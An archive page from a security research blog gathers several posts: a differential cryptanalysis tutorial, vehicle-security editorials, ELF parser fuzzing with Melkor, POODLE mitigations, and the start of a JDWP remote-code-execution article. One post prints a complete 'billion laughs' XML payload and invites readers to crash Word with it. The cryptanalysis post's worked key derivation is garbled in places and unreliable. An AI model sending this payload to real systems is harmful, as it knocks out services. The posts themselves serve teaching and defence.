RESEARCH | July 24, 2015

Differential Cryptanalysis for Dummies

Recently, I ventured into the crazy world of differential cryptanalysis purely to find out what the heck it was all about. In this post, I hope to reassure you that this strange and rather cool technique is not as scary as it seems. Hopefully, you’ll be attacking some ciphers of your own in no time!

A differential cryptanalysis attack is a method of abusing pairs of plaintext and corresponding ciphertext to learn about the secret key that encrypted them, or, more precisely, to reduce the amount of time needed to find the key. It’s what is called a chosen plaintext attack; the attacker has access to plaintext and corresponding ciphertext.

We’re going to attack a simple block cipher I stole using another explanation of the technique (links are available at the bottom of the post). This cipher is meant to exhibit a few rudimentary elements of a Substitution-Permutation Network (SPN) (minus some common elements for simplicity), while highlighting the power of the differential technique. So, let’s get started.

I think a good place to start is to look at the block cipher and check out what makes it tick. Here is a quick schematic of the algorithm:

Where:

  • C  is the cipher-text
  • K_0, K_1 are the first and second round keys, respectively
  • P is the plaintext
  • SBOX is the substitution box.

As you can probably guess from looking at the schematic,: the cipher takes in two 2 sub-keys (K_0,K_1) and a piece of plain-text. It, it then XORs the plain-text with the first key, K_0, then, afterwards pulls the plain-text through a substitution box (SBOX) (we will talk about this little gadget soon). From there, it then takes the output of the SBOX, and XORs it with K_01,  and then pulls it through the SBOX again to produce the file piece of final cipher-text. So now that we know how the cipher works, and we can begin formulating our attack.!

To start off with, let’s try writing down this cipher in an algebraic form: 

C=SBOX(SBOX(P⨁K_0 )⨁K_1 )

(1)

Great! We can start talking about some of the weird properties of this cipher.

We know that when it comes to the cryptographic security of an encryption function the only thing that should be relied on for Confidentiality is your secret key (these are the words of a great Dutch cryptographer a long time ago [https://en.wikipedia.org/wiki/Auguste_Kerckhoffs]). This means the algorithm, including the workings of the SBOXs, will be known (or rather, in our analysis, we should always assume it will be known) by our attacker. Anything secret in our algorithm cannot be relied on for security. More specifically, any operation that is completely reversible (requiring only knowledge of the ciphertext) is useless!

When it comes to the use of substitution boxes, unless something we don’t know meaningfully obscures the output of the SBOX, using it will not add any security. It will be reduced to a mere reversible “encoding” of its input.

Looking at the algebraic form in (1), we can see the cipher pulls the input through the SBOX again in its last operation before returning it as ciphertext. This operation adds no security at all, especially in the context of a differential attack, because it is trivial to reverse the effect of the last SBOX. To make this clear, imagine knowing the output of the SBOX, but not being capable of knowing the input. Given the context of the last SBOX, this is impossible if you know the ciphertext. We can reduce the encryption function and focus on what actually adds security. The function becomes:

C= SBOX(P⨁K_0 )⨁K_1
(2)

Ironically, the SBOX in this expression (2), is now the only thing that adds security, so it will be the target of our analysis. Consider what would happen if we could know the output of the SBOX, including the plaintext/ciphertext pairs. The entire security of the cipher would fly out the window. After a few XOR operations, we would be able to work out the second key, and by extrapolation, the first key.

But how would we know the SBOX output? Well, what about analyzing the way the SBOX behaves by observing how differences between inputs map to differences in outputs. This insight is at the heart of differential cryptanalysis! Why choose this property? The only thing we have access to is plaintext/ciphertext pairs in a differential cryptanalysis attack (thems the rules), so we need to derive our information from this data. Also, XOR differences have favorable properties under XOR, namely they are unaffected by them. If we look at how the SBOX maps these differences, this is what we get:

∆x
∆y
count
[(x,x^’), (y,y^’)]
15
4
1
[(0, 15), (3, 7)]
15
7
1
[(3, 12), (10, 13)]
15
6
2
[(4, 11), (4, 2)] [(5, 10), (9, 15)]
5
15
1
[(3, 6), (10, 5)]
5
10
2
[(0, 5), (3, 9)] [(1, 4), (14, 4)]
3
15
1
[(1, 2), (14, 1)]
3
12
2
[(5, 6), (9, 5)] [(13, 14), (12, 0)]
3
10
2
[(8, 11), (8, 2)] [(12, 15), (13, 7)]
5
2
1
[(11, 14), (2, 0)]
5
4
1
[(8, 13), (8, 12)]
5
7
1
[(2, 7), (1, 6)]
5
6
1
[(9, 12), (11, 13)]
5
8
1
[(10, 15), (15, 7)]
4
15
1
[(10, 14), (15, 0)]
4
12
1
[(3, 7), (10, 6)]
1
7
1
[(14, 15), (0, 7)]
1
1
1
[(12, 13), (13, 12)]
Where
  • ∆x = x⊕x^’
  • ∆y = y⊕y^’
  • x^’,x is the input pair to the SBOX
  • y’,y is the output pair of from the SBOX
  • And ∆x→ ∆y is a differential characteristic
  • Count is the number of times the differential characteristic appears
 
This table is a small sample of the data collected from the SBOX.

This mapping of the XOR difference in the input to the XOR difference in the output is called a differential characteristic. Hence the name, “differential” cryptanalysis.! We can now use this data to steal the secret key.! Given the cipher-text/plain-text pairs, we need to find one encrypted under our target key that satisfies one of the differential characteristics. To find that pair you need to do the following:

Consider a sample differential characteristic a →b (this can be any differential):
  1. Choose (or generate) one plain-text P, and produce another plain-text P^’=P⨁a , where a is an input differential (notice that the XOR difference of P and P’ is a!)
  2. Encrypt the two plain-texts (P,P’) to get (C,C’)
  3. If C⨁C’ = b,  then you have a good pair!

If you know that a →b is the differential that suits your text pair, you now know what the potential input/output pairs are for the SBOX, because of thanks to the analysis we did earlier on. ! So now given these pairs, you can try different calculations for the key. You will likely have a couple possible keys, but one of them will definitely be the correct one.

For example, let’s say we have the following setup:

The keys K_0, K_1 : 0,6
 (p,p’) :=> (c,c’) : input_diff :=> output_diff : [count, [(sI,sI’),(sO,sO’)]… ]
 (3,12) -> (11, 12) : 15 :=> 7 : [1, [[(3, 12), (10, 13)]]]
 (5,10) -> (9, 15) : 15 :=> 6 : [2, [[(4, 11), (4, 2)], [(5, 10), (9, 15)]]]
 (4,11) -> (4, 2) : 15 :=> 6 : [2, [[(4, 11), (4, 2)], [(5, 10), (9, 15)]]]
 (5,10) -> (9, 15) : 15 :=> 6 : [2, [[(4, 11), (4, 2)], [(5, 10), (9, 15)]]]
 (3,6) -> (3, 12) : 5 :=> 15 : [1, [[(3, 6), (10, 5)]]]

The script that generated this output is available at the end of the post.

We need to select a plain-text/cipher-text pair and use the information associated to with them the pair to calculate the key.  So for example let’s use, using (3,12) => (11,12), we can then calculate the K_0, K_1 in the following way:

Given then that (from the last operation of the cipher):

C=K_1⊕ S_o

We know that (because of how XOR works):

K_1=C⊕ S_o

Although we have a couple of choices for those values, so we need to run through them.
Given that:
K_0,K_1=(11,12)
C=(11,12) this is a tuple because we are using a pair of cipher-texts
P=(3,12)
S_i=(3,12)
S_o=(10,13)
We can then try to calculate the second round key as:
K_1=C[0]⊕ S_o [0]=1   wrong!
K_1=C[0]⊕ S_o [1]=6   right!
(3)
We can also calculate K_0, namely:
K_0=P[1]⊕ S_i [0]=   wrong!
K_0=C[0]⊕ S_o [1]=   wrong!
K_0=C[0]⊕ S_o [0]=0    right!
(4)
We’ve just derived the two sub keys.! Cryptanalysis successful!
The weird behavior of the SBOX under differential mapping is what makes differential cryptanalysis possible, but it this is not to say that this is the ONLY way to perform differential cryptanalysis. The property we are using here (XOR differences) is merely one application of this concept. You should think about differential cryptanalysis as leveraging any operation in an encryption function that can be used to “explain” differences in input/output pairs. So when you’re done reading about this application, look at some of the other common operations in encryption functions and think about what else, besides SBOXs, can be abused in this way; what other properties of the input/outputs pairs have interesting behaviors under common operations?.
Also, it may be useful to think about how you can extend this application of differential cryptanalysis in order to attack multi-round ciphers (i.e. ciphers that are built using multiple rounds of computation of ciphers like the one we’ve attacked here).
Further Reading and References:
Some Scripts to play around with:

EDITORIAL | March 24, 2015

Lawsuit counterproductive for automotive industry

It came to my attention that there is a lawsuit attempting to seek damages against automakers revolving around their cars being hackable.

The lawsuit cites Dr. Charlie Miller’s and my work several times, along with several other researchers who have been involved in automotive security research.

I’d like to be the first to say that I think this lawsuit is unfortunate and subverts the spirit of our research. Charlie and I approached our work with the end goals of determining if technologically advanced cars could be controlled with CAN messages and informing the public of our findings. Obviously, we found this to be true and were surprised at how much could be manipulated with network messages. We learned so much about automobiles, their communications, and their associated physical actions.

Our intent was never to insinuate deliberate negligence on the part of the manufacturers. Instead, like most security researchers, we wanted to push the boundaries of what was thought to be possible and have fun doing it. While I do believe there is risk associated with vehicle connectivity, I think that a lawsuit can only be harmful as it has the potential to take funds away from what is really important:  securing the modern vehicle. I think any money automobile manufacturers must spend on legal fees would be more wisely spent on researching and developing automotive intrusion detection/prevention systems.

The automotive industry is not sitting idly by, but constantly working to improve the security of their past, present, and future vehicles. Security isn’t something that changes overnight, especially in the case of automobiles, which take even longer since there are both physical and software elements to be tested. Offensive security researchers will always be ahead of the people trying to formulate defenses, but that does not mean the defenders are not doing anything.

While our goals were public awareness and industry change, we did not want change to stem from the possible exploitation of public fears. Our hope was that by showing what is possible, we could work with the people who make the products we use and love on an everyday basis to improve vehicle security.

– cv

EDITORIAL | January 27, 2015

Life in the Fast Lane

Hi Internet Friends,
Chris Valasek here. You may remember me from educational films such as “Two Minus Three Equals Negative Fun”. If you have not heard, IOActive officially launched our Vehicle Security Service offering.
I’ve received several questions about the service and plan to answer them and many more during a webinar I am hosting on February 5, 2015 at 11 AM EST.
Some of the main talking points include: 
  • Why dedicate an entire service offering to vehicles and transportation?
  • A brief history of vehicle security research and why it has been relatively scarce
  • Why we believe that protecting vehicles and their supporting systems is of the utmost importance
  • IOActive’s goals for our Vehicle Security Service offering

Additionally, I’ll make sure to save sufficient time for Q&A to field your questions. I’d love to get as many questions as possible, so don’t be shy.

I look forward to your participation in the webinar on February 5,2015 11 AM EST. 

– cv
RESEARCH | November 18, 2014

Die Laughing from a Billion Laughs

Recursion is the process of repeating items in a self-similar way, and that’s what the XML Entity Expansion (XEE)[1] is about: a small string is referenced a huge number of times.

Technology standards sometimes include features that affect the security of applications. Amit Klein found in 2002 that XML entities could be used to make parsers consume an unlimited amount of resources and then crash, which is called a billion laughs attack. When the XML parser tries to resolve, the external entities that are included cause the application to start consuming all the available memory until the process crashes.

This example shows an XML document with an embedded DTD schema that performs the attack.

 (you can copy and paste (without format) to try)
<!DOCTYPE TEST [
 <!ELEMENT TEST ANY>
 <!ENTITY LOL “LOL”>
 <!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”>
 <!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”>
 <!ENTITY LOL3 “&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;”>
 <!ENTITY LOL4 “&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;”>
 <!ENTITY LOL5 “&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;”>
 <!ENTITY LOL6 “&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;”>
 <!ENTITY LOL7 “&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;”>
 <!ENTITY LOL8 “&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;”>
 <!ENTITY LOL9 “&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;”>
]>

<TEST>&LOL9;</TEST>

The entity LOL9 in the example will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3*109 (3.000.000.000) entities defined in this schema and it could make the parser crash.

The SOAP specification states that a SOAP message must not contain a Document Type Declaration (DTD). Therefore, a SOAP processor can reject any SOAP message that contains a DTD.

Regardless of what the specification indicates, certain SOAP implementations do parse DTD schemas within SOAP messages:

  • CVE-2013-1643: The SOAP parser (in PHP before 5.3.22 and 5.4.x before 5.4.13) allows remote attackers to read arbitrary files via a SOAP WSDL file containing an XML external entity declaration in conjunction with an entity reference.
  • CVE-2010-1632: Apache Axis2 before 1.5.2 (as used in IBM WebSphere Application Server 7.0 through 7.0.0.12, IBM Feature Pack for Web Services 6.1.0.9 through 6.1.0.32, IBM Feature Pack for Web 2.0 1.0.1.0, Apache Synapse, Apache ODE, Apache Tuscany, Apache Geronimo, and other products) does not properly reject DTDs in SOAP messages.
  • CVE-2004-2244: The XML parser (in Oracle 9i Application Server Release 2 9.0.3.0 and 9.0.3.1, 9.0.2.3 and earlier, and Release 1 1.0.2.2 and 1.0.2.2.2, and Database Server Release 2 9.2.0.1 and later) allows remote attackers to cause a denial of service with CPU and memory consumption via a SOAP message containing a crafted DTD.

Here is an example of a parser that is not following the specification and is instead referencing a DTD on a SOAP message [2].

 Figure 1: SOAP billion laughs
This vulnerability also affects the Microsoft XML Core Services (MSXML), a service that allows applications to build Windows-native XML-based applications. If you paste the billion laughs attack code into Microsoft Word for Mac, the memory will start getting depleted until Word crashes. You can try it yourself: just copy, paste, and die laughing.
References:
[1] CAPEC-197: XEE (XML Entity Expansion) (http://capec.mitre.org/data/definitions/197.html)
[2] CAPEC-228: Resource Depletion through DTD Injection in a SOAP Message (http://capec.mitre.org/data/definitions/228.html)
INSIGHTS | November 6, 2014

ELF Parsing Bugs by Example with Melkor Fuzzer

Too often the development community continues to blindly trust the metadata in Executable and Linking Format (ELF) files. In this paper, Alejandro Hernández walks you through the testing process for seven applications and reveals the bugs that he found. He performed the tests using Melkor, a file format fuzzer he wrote specifically for ELF files.

 

Introduction

The ELF file format, like any other file format, is an array of bits and bytes interconnected through data structures. When interpreted by an ELF parser, an ELF file makes sense, depending upon the parsing context: runtime (execution view) or static (linking view).

In 1999, ELF was chosen as the standard binary file format for *NIX systems, and now, about 15 years later, we are still in many instances blindly trusting the (meta)data within ELF files, either as executable binaries, shared libraries, or relocation objects.

However, blind trust is not necessary. Fuzzing tools are available to run proper safety checks for every single untrusted field.

To demonstrate, I tested and found bugs in seven applications using Melkor, a file format fuzzer specifically for ELF files that I developed: https://github.com/IOActive/Melkor_ELF_Fuzzer.

The following were tested:

  • HT Editor 2.1.0
  • GCC (GNU Compiler) 4.8.1
  • Snowman Decompiler v0.0.5
  • GDB (GNU Debugger) 7.8
  • IDA Pro (Demo version) 6.6.140625
  • OpenBSD 5.5 ldconfig
  • OpenBSD 5.5 Kernel

Most, if not all, of these bugs were reported to the vendors or developers.

Almost all, if not all, were only crashes (invalid memory dereferences) and I did not validate whether they’re exploitable security bugs. Therefore, please do not expect a working command execution exploit at the end of this white paper.

Melkor is an intuitive and, therefore, easy-to-use fuzzer. To get started, you simply identify:

  • The kind of metadata you want to fuzz
  • A valid ELF file to use as a template
  • The number of desired test cases you want to generate (malformed ELF files that I call ‘orcs,’ as shown in my Black Hat Arsenal presentation, slides 51 and 52.1
  • The likelihood of each fuzzing rule as a percentage

Options supported by Melkor:

For a quiet output, use the -q switch. 1. – Melkor Test of HT Editor 2.1.0

HT (http://hte.sourceforge.net) is my favorite ELF editor. It has parsers for all internal metadata.

Test Case Generation

To start, we’ll fuzz only the ELF header, with a 20% chance of executing each fuzzing rule, to create 1000 test cases:

$./melkor -H templates/foo -l 20 -n 1000

You will find the test cases that are generated in the orcs_foo directory along with a detailed report explaining what was fuzzed internally.

Fuzzing the Parser

You could perform manually testing by supplying each orc (test case) as a parameter to the HT Editor. However, it would take a long time to test 1000 test cases.

For that reason, Melkor comes with two testing scripts:

  • For Linux, test_fuzzed.sh
  • For Windows systems, win_test_fuzzed.bat

To test the scripts automatically, enter:

$./test_fuzzed.sh orcs_foo/ “ht”

Every time HT Editor opens a valid ELF file, you must press the [F10] key to continue to

the next test case. The Bug

After 22 tries, the test case orc_0023 crashed the HT Editor:

The next step is to identify the cause of the crash by reading the detailed report generated by Melkor:


By debugging it with GDB, you would see:

 

 

Effectively, there is a NULL pointer dereference  in the instruction mov (%rdi),%rax. 2. – Melkor Test of GCC (GNU Compiler) 4.8.1

I consider the GCC to be the compiler of excellence. When you type gcc foo.c -o foo, you’re performing all the phases (compilation, linking, etc.); however, if you want only to compile, the -c is necessary, as in gcc -c foo.c, to create the ELF relocatable object foo.o.

Normally, relocations and/or symbols tables are an important part of the .o objects. This is what we are going to fuzz.

 

Test Case Generation

Inside the templates/ folder, a foo.o file is compiled with the same Makefile to create Melkor, which in turn will be used as a template to create 5000 (default -n option) malformed relocatable files. We instruct Melkor to fuzz the relocations within the file (-R) and the symbol tables (-s) as well:

 

$./melkor -Rs templates/foo.o

 

During the fuzzing process, you may see verbose output:

 

 

Fuzzing the Parser


 

In order to test GCC with every malformed .o object, a command like gcc -o output malformed.o must be executed. To do so automatically, the following arguments are supplied to the testing script:

 

$./test_fuzzed.sh orcs_foo.o/ “gcc –o output”

 

You can observe how mature GCC is and how it properly handles every malformed struct, field, size, etc.:

 

 

 

 

The Bug

 

Normally, in a Linux system, when a program fails due to memory corruption or an invalid memory dereference, it writes to STDERR the message: “Segmentation fault.” As a quick way to identify if we found bugs in the linker, we can simply look for that message in the output of the testing script (the script already redirected the STDERR of each test case to STDOUT).

 

$./test_fuzzed.sh orcs_foo.o/ “gcc –o output” | egrep “Testing program|Segmentation fault”

 

 

 

 

Filtering for only those that ended with a “Segmentation fault,” I saw that 197 of 5000 test cases triggered a bug.

 

3. – Melkor Test of the Snowman Decompiler v0.0.5

 

 

 

 

Snowman (http://derevenets.com) is a great native code to C/C++ decompiler for Windows. It’s free and supports PE and ELF formats in x86 and x86-64 architectures.

 

 

Test Case Generation


In the previous example, I could have mentioned that after a period of testing, I noticed that some applications properly validated all fields in the initial header and handled the errors. So, in order to fuzz more internal levels, I implemented the following metadata dependencies in Melkor, which shouldn’t be broken:

 

 

 

 

 

With these dependencies, it’s possible to corrupt deeper metadata without corrupting structures in higher levels. In the previous GCC example, it’s evident that these dependencies were in place transparently to reach the third and fourth levels of metadata, symbol tables, and relocation tables respectively. For more about dependencies in Melkor, see Melkor Documentation: ELF Metadata Dependencies2.

 

Continuing with Snowman, I created only 200 test cases with fuzzed sections in the Section Header Table (SHT), without touching the ELF header, using the default likelihood of fuzzing rules execution, which is 10%:

 

 

$./melkor -S templates/foo -n 200

 

 

Fuzzing the Parser


 

Since snowman.exe runs on Windows machines, I then copied the created test cases to the Windows box where Snowman was loaded and tested each case using win_test_fuzzed.bat as follows:

 

C:Usersnitr0usDownloads>melkor-v1.0win_test_fuzzed.bat orcs_foo_SHT_snowman snowman-v0.0.5-win-x64snowman.exe

 

For every opened snowman.exe for which there is no exception, it’s necessary to close the window with the [Alt] + [F4] keyboard combination. Sorry for the inconvenience but I kept the testing scripts as simple as possible.

 

 

The Bug


 

I was lucky on testing day. The second orc triggered an unhandled exception that made Snowman fail:

 

 

 

4. – Melkor Test of GDB (GNU Debugger) 7.8

 

 

 

 

GDB, the most used debugger in *NIX systems, is another great piece of code.

When you type gdb foo, the necessary ELF data structures and other metadata is parsed and prepared before the debugging process; however, when you execute a program within GDB, some other metadata is parsed.

 

Test Case Generation

 

 

 

Most applications rely on the SHT to reach more internal metadata; the data and the code itself, etc. As you likely noticed in the previous example and as you’ll see now with GDB, malformed SHTs might crash many applications. So, I created 2000 orcs with fuzzed SHTs:

 

$./melkor -S templates/foo -n 2000

 

To see the other examples, GDB, IDA Pro, ldconfig and OpenBSD kernel, please continue reading the white paper at http://www.ioactive.com/pdfs/IOActive_ELF_Parsing_with_Melkor.pdf

 

Conclusion

 

 

 

Clearly, we would be in error if we assumed that ELF files, due to the age of the format, are free from parsing mistakes; common parsing mistakes are still found.

It would also be a mistake to assume that parsers are just in the OS kernels, readelf or objdump. Many new programs support 32 and 64-bit ELF files, and antivirus engines, debuggers, OS kernels, reverse engineering tools, and even malware may contain ELF parsers.

 

I hope you have seen from these examples that fuzzing is a very helpful method to identify functional (and security) bugs in your parsers in an automated fashion. An attacker could convert a single crash into an exploitable security bug in certain circumstances or those small crashes could be employed as anti-reversing or anti-infection techniques.

 

 

Feel free to fuzz, crash, fix, and/or report the bugs you find to make better software.

 

 

Happy fuzzing.

 

Alejandro Hernández  @nitr0usm

Extract from white paper at IOActive_ELF_Parsing_with_Melkor

 

 

Acknowledgments

IOActive, Inc.

 

References

[1]  Alejandro Hernández. “In the lands of corrupted elves: Breaking ELF software with Melkor fuzzer.”  <https://ioactive.com/wp-content/uploads/2014/11/us-14-Hernandez-Melkor-Slides.pdf>
[2] Melkor Documentation: ELF Metadata Dependencies and Fuzzing Rules. <https://github.com/IOActive/Melkor_ELF_Fuzzer/tree/master/docs>[3] IOActive Security Advisory: OpenBSD  5.5 Local Kernel Panic.<http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf>

RESEARCH | October 17, 2014

Vicious POODLE Finally Kills SSL

The poodle must be the most vicious dog, because it has killed SSL.

POODLE is the latest in a rather lengthy string of vulnerabilities in SSL (Secure Socket Layer) and a more recent protocol, TLS (Transport layer Security). Both protocols secure data that is being sent between applications to prevent eavesdropping, tampering, and message forgery.

POODLE (Padding Oracle On Downgraded Legacy Encryption) rings the death knell for our 18-year-old friend SSL version 3.0 (SSLv3), because at this point, there is no truly safe way to continue using it.

Google announced Tuesday that its researchers had discovered POODLE. The announcement came amid rumors about the researchers’ security advisory white paper which details the vulnerability, which was circulating internally.

SSLv3 had survived numerous prior vulnerabilities, including SSL renegotiation, BEAST, CRIME, Lucky 13, and RC4 weakness. Finally, its time has come; SSLv3 is long overdue for deprecation.

The security industry’s initial view is that POODLE will not be as devastating as other recent vulnerabilities such as Heartbleed, a TLS bug. After all, POODLE is a client-side attack; the others were direct server-side attacks.

However, I believe POODLE will ultimately have a larger overall impact than Heartbleed. Even the hundreds of thousands of applications that use a more recent TLS protocol still use SSLv3 as part of backward compatibility. In addition, some applications that directly use SSLv3 may not support any version of TLS; for these, there might not be a quick fix, if there will be one at all.

POODLE attacks the SSLv3 block ciphers by abusing the non-deterministic nature of block cipher padding of CBC ciphers. The Message Authentication Code (MAC), which checks the integrity of every message after decryption, does not cover these padding bytes. What does this mean? The padding can’t be fully verified. In other words, this attack is very capable of determining the value of HTTPS cookies. This is the heart of the problem. That might not seem like a huge issue until you consider that this may be a session cookie, and the user’s session could be potentially compromised.

TLS version 1.0 (TLSv1.0) and higher versions are not affected by POODLE because these protocols are strict about the contents of the padding bytes. Therefore, TLSv1.0 is still considered safe for CBC mode ciphers. However, we shouldn’t let that lull us into complacency. Keep in mind that even the clients and servers that support recent TLS versions can force the use of SSLv3 by downgrading the transmission channel, which is often still supported. This ‘downgrade dance’ can be triggered through a variety of methods. What’s important to know is that it can happen.

There are a few ways to prevent POODLE from affecting your communication:

Plan A: Disable SSLv3 for all applications. This is the most effective mitigation for both clients and servers.

Plan B: As an alternative, you could disable all CBC Ciphers for SSLv3. This will protect you from POODLE, but leaves only RC4 as the remaining “strong” cryptographic ciphers, which as mentioned above has had weaknesses in the past.

Plan C: If an application must continue supporting SSLv3 in order work correctly, implement the TLS_FALLBACK_SCSV mechanism. Some vendors are taking this approach for now, but it is a coping technique, not a solution. It addresses problems with retried connections and prevents reversion to earlier protocols, as described in the document TLS Fallback Signaling Cipher Suite Value for Preventing Protocol Downgrade Attacks (Draft Released for Comments).

How to Implement Plan A

 

With no solution that would allow truly safe continued use of SSLv3, you should implement Plan A: Disable SSLv3 for both server and client applications wherever possible, as described below.

Disable SSLv3 for Browsers

Browser
 Disabling instructions
Chrome:
Add the command line -ssl-version-min=tls1 so the browser uses TLSv1.0 or higher.
Internet: Explorer:
Go to IE’s Tools menu -> Internet Options -> Advanced tab. Near the bottom of the tab, clear the Use SSL 3.0 checkbox.
Firefox:
Type about:config in the address bar and set security.tls.version.min to 1.
Adium/Pidgin:
 Clear the Force Old-Style SSL checkbox.

Note: Some browser vendors are already issuing patches and others are offering diagnostic tools to assess connectivity.

If your device has multiple users, secure the browsers for every user. Your mobile browsers are vulnerable as well.

Disable SSLv3 on Server Software

 
Server Software 
   Disabling instructions
Apache:
Add -SSLv3 to the SSLProtocol line.
IIS 7:
Because this is an involved process that requires registry tweaking and a reboot, please refer to Microsoft’s instructions: https://support.microsoft.com/kb/187498/en-us
Postfix:
In main.cf, adopt the setting smtpd_tls_mandatory_protocols=!SSLv3 and  ensure that !SSLv2 is present too.
Stay alert for news from your application vendors about patches and recommendations.

POODLE is a high risk for payment gateways and other applications that might expose credit card data and must be fixed in 30 days, according to Payment Card Industry standards. The clock is ticking.

 

Conclusion

 

Ideally, the security industry should move to recent versions of the TLS protocol. Each iteration has brought improvements, yet adoption has been slow. For instance, TLS version 1.2, introduced in mid-2008, was scarcely implemented until recently and many services that support TLSv1.2 are still required to support the older TLSv1.0, because the clients don’t yet support the newer protocol version.

A draft of TLS version 1.3 released in July 2014 removes support for features that were discovered to make encrypted data vulnerable. Our world will be much safer if we quickly embrace it.

Robert Zigweid

References 
PRESENTATION | July 30, 2014

DC22 Talk: Killing the Rootkit

By Shane Macaulay

I’ll  be at DefCon22 a to present information about a high assurance tool/technique that helps to detect hidden processes (hidden by a DKOM type rootkit).  It works very well with little bit testing required (not very “abortable” http://takahiroharuyama.github.io/blog/2014/04/21/memory-forensics-still-aborted/). The process  also works recursively (detect host and guest processes inside a host memory dump).
Plus, I will also be at our IOAsis (http://ioasislasvegas.eventbrite.com/?aff=PRIOASIS) , so come through for a discussion and a demo.
INSIGHTS | April 23, 2014

Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger”

By Christophe Alladoum – @_hugsy_
 
TL;DR: turn any open JDWP service into reliable remote code execution (exploit inside)
 
<plagiarism> Kids, I’m gonna tell you an incredible story. </plagiarism>
This is the story of how I came across an interesting protocol during a recent code review engagement for IOActive and turned it into a reliable way to execute remote code. In this post, I will explain the Java Debug Wire Protocol (JDWP) and why it is interesting from a penetration tester’s point of view. I will cover some JDWP internals and how to use them to perform code execution, resulting in a reliable and universal exploitation script. So let’s get started.
 
Disclaimer: This post provides techniques and exploitation code that should not be used against vulnerable environments without prior authorization. The author cannot be held responsible for any private use of the tool or techniques described therein.
 
Note: As I was looking into JDWP, I stumbled upon two brief posts on the same topic (see [5] (in French) and [6]). They are worth reading, but do not expect that a deeper understanding of the protocol itself will allow you to reliably exploit it. This post does not reveal any 0-day exploits, but instead thoroughly covers JDWP from a pentester/attacker perspective. 

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA)
JDWP is one component of the global Java debugging system, called the Java Platform Debug Architecture (JPDA). The following is a diagram of the overall architecture:
 

 

 
The Debuggee consists of a multi-threaded JVM running our target application. In order to be remotely debuggable, the JVM instance must be explicitly started with the option -Xdebug passed on the command line, as well as the option -Xrunjdwp (or -agentlib). For example, starting a Tomcat server with remote debugging enabled would look like this:
 

 

As shown in the architecture diagram, the Java Debug Wire Protocol is the central link between the Debugger and the JVM instance. Observations about the protocol include:
  • It is a packet-based network binary protocol.
  • It is mostly synchronous. The debugger sends a command over JDWP and expects to receive a reply. However, some commands, like Events, do not expect a synchronous response. They will send a reply when specific conditions are met. For example, a BreakPoint is an Event.
  • It does not use authentication.
  • It does not use encryption.
 
All of these observations make total sense since we are talking about a debugging protocol. However, when such a service is exposed to a hostile network, or is Internet facing, things could go wrong.


Handshake
JDWP dictates[9] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”. 
The Debuggee (server) responds to this message by sending the exact same string. 
 
The following scapy[3] trace shows the initial two-way handshake:

 

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “
    inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy
Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake

0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. 

 
More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service (this is covered later on in this article with the help of the (in)famous Shodan).


Communication
JDWP defines messages[10] involved in communications between the Debugger and the Debuggee. 
 
The messages follow a simple structure, defined as follows:
 

 

The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table. 

CommandSet
   Command
0x40 
   Action to be taken by the JVM (e.g. setting a BreakPoint)
0x40–0x7F     
   Provide event information to the debugger (e.g. the JVM has       hit a BreakPoint and is waiting for further actions)
0x80
   Third-party extensions
 
Keeping in mind that we want to execute arbitrary code, the following commands are the most interesting for our purposes.
  • VirtualMachine/IDSizes defines the size of the data structures handled by the JVM. This is one of the reasons why the nmap script jdwp-exec.nse[11] does not work, since the script uses hardcoded sizes.
  • ClassType/InvokeMethod allows you to invoke a static function.
  • ObjectReference/InvokeMethod allows you to invoke a function from an instantiated object in the JVM.
